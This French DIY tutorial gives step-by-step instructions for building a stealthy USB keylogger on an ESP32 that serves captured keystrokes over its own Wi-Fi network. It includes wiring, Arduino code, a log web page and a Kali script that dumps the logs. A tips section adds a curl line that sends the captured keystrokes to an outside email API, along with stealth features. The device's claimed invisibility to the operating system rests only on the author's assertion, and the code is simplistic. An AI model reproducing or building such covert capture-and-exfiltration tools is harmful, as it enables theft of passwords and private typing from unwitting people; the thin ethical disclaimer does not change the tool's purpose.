🎯 Un keylogger Wi-Fi avec une interface web – l’espionnage DIY atteint des sommets !
Ce projet transforme une clé USB en un keylogger furtif qui capture les frappes, les chiffre, et les sert via une interface web accessible par Wi-Fi. On pousse la bidouille au max, avec un contrôle total depuis Kali Linux. À utiliser éthiquement !
1️⃣ Le Projet Ultime
Un keylogger USB qui sniffe en silence, stocke localement, et balance les logs sur un serveur Wi-Fi avec une interface web stylée. Mode furtif, chiffrement, et exfiltration à distance – c’est du DIY de haut vol !
🔍 Fonctionnalités de ouf
- ⌨️ Capture invisible
- 🔒 Stockage sécurisé
- 📡 Interface web live
- 👻 Bypass OS total
2️⃣ Matériel Récup’
- 🔌 Microcontrôleur : ESP32 (Wi-Fi intégré) ou ATmega32U4 + ESP8266
- 💾 Stockage : MicroSD ou SPI Flash 8MB (récup’ d’un vieux gadget)
- 🔩 Boîtier : Clé USB modifiée ou coque 3D
- ⚡ Extras : Résistances, câbles (tiroir magique)
Coût : ~0 € avec récup’, sinon 10 € max.
3️⃣ Montage Électronique
- 🔪 Désossez la clé USB, gardez le connecteur.
- 🔌 Branchez l’ESP32 :
- 5V → USB 5V
- GND → USB GND
- MicroSD → SPI (pins 5, 18, 19, 23)
- 🔨 Fixez dans le boîtier avec colle chaude.
Protip : Testez avec un multimètre avant de tout sceller.
4️⃣ Code : Wi-Fi + Interface
🔧 Code ESP32 (Arduino IDE)
Ci-dessous, le code pour l’ESP32 qui crée un point d’accès Wi-Fi et sert une interface web avec les logs :
#include <WiFi.h>
#include <FS.h>
#include <SPIFFS.h>
#include <ESPAsyncWebServer.h>
#include <AESLib.h>
const char* ssid = "Keylogger-Network";
const char* password = "SuperSecretPass";
uint8_t aes_key[] = {0x00,0x01,0x02 |...| 0x0F}; // Clé AES 16 octets
AsyncWebServer server(80);
String keystrokes = "";
void handleRoot(AsyncWebServerRequest *request) {
request->send(200, "text/html", "<!DOCTYPE html><html lang='fr'><head><meta charset='UTF-8'><title>Keylogger Wi-Fi Logs</title>"
"<style>body{font-family:Arial;text-align:center;background:#1e1e1e;color:#39ff14;}"
"#logContainer{border:1px solid #39ff14;padding:10px;width:80%;margin:auto;text-align:left;white-space:pre-wrap;}"
"button{margin-top:20px;padding:10px 15px;background:#39ff14;color:black;border:none;cursor:pointer;font-size:16px;}"
"button:hover{background:#2ecc71;}</style></head>"
"<body><h1>🔐 Keylogger Wi-Fi - Logs</h1><div id='logContainer'>" + keystrokes + "</div>"
"<button onclick='location.reload()'>🔄 Rafraîchir</button></body></html>");
}
void setup() {
Serial.begin(115200);
SPIFFS.begin();
WiFi.softAP(ssid, password);
server.on("/", HTTP_GET, handleRoot);
server.begin();
}
void loop() {
if (Serial.available()) {
char c = Serial.read();
keystrokes += c;
File file = SPIFFS.open("/log.txt", "a");
char encrypted[16];
AESLib aesLib;
aesLib.encrypt64(&c, 1, encrypted, aes_key);
file.write((uint8_t*)encrypted, 16);
file.close();
}
}
→ Installez les libs via Arduino IDE sous Kali : sudo apt install arduino. Note : Les caractères `<` et `>` sont échappés (< et >) pour éviter l’exécution.
🖥️ Interface Web (à flasher sur l’ESP32)
Voici l’interface que l’ESP32 sert à http://192.168.4.1/. Elle est déjà dans le code ci-dessus :
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Keylogger Wi-Fi Logs</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background-color: #1e1e1e; color: #39ff14; }
#logContainer { border: 1px solid #39ff14; padding: 10px; width: 80%; margin: auto; text-align: left; white-space: pre-wrap; }
button { margin-top: 20px; padding: 10px 15px; background: #39ff14; color: black; border: none; cursor: pointer; font-size: 16px; }
button:hover { background: #2ecc71; }
</style>
</head>
<body>
<h1>🔐 Keylogger Wi-Fi - Logs en temps réel</h1>
<div id="logContainer">Chargement des frappes...</div>
<button onclick="location.reload()">🔄 Rafraîchir les logs</button>
</body>
</html>
→ Pas de JS ici pour éviter l’exécution directe sur ton site. L’ESP32 gère l’affichage.
🛠️ Script Kali pour Connexion
#!/bin/bash
# Connexion au réseau
nmcli dev wifi connect Keylogger-Network password SuperSecretPass
# Ouvrir l’interface
firefox http://192.168.4.1/ &
# Dump local des logs
curl http://192.168.4.1/ > keylog.txt
cat keylog.txt
→ chmod +x keylog_connect.sh et testez !
5️⃣ Test et Furtivité
- 🔌 Branchez la clé sur un PC.
- 📡 Connectez-vous au Wi-Fi "Keylogger-Network".
- 🌐 Ouvrez
http://192.168.4.1dans Firefox – logs en live !
→ L’OS ne détecte rien grâce au pass-through USB.
6️⃣ Astuces de Pro
- 🔐 Ajoutez une auth basic :
server.on("/", HTTP_GET, [](AsyncWebServerRequest *r){ r->requestAuthentication(); handleRoot(r); }); - 📩 Exfil par mail :
curl -X POST http://api.email.com/send -d "logs=$keystrokes" - 👻 Toggle Wi-Fi : Branchez un bouton sur GPIO pour
WiFi.softAPdisconnect(true).
🎓 Conclusion Éthique
Un keylogger USB Wi-Fi avec interface web, c’est du DIY qui en jette : furtif, connecté, et stylé. À utiliser pour apprendre ou tester vos défenses – jamais pour nuire. On bidouille pour le savoir, pas pour le chaos !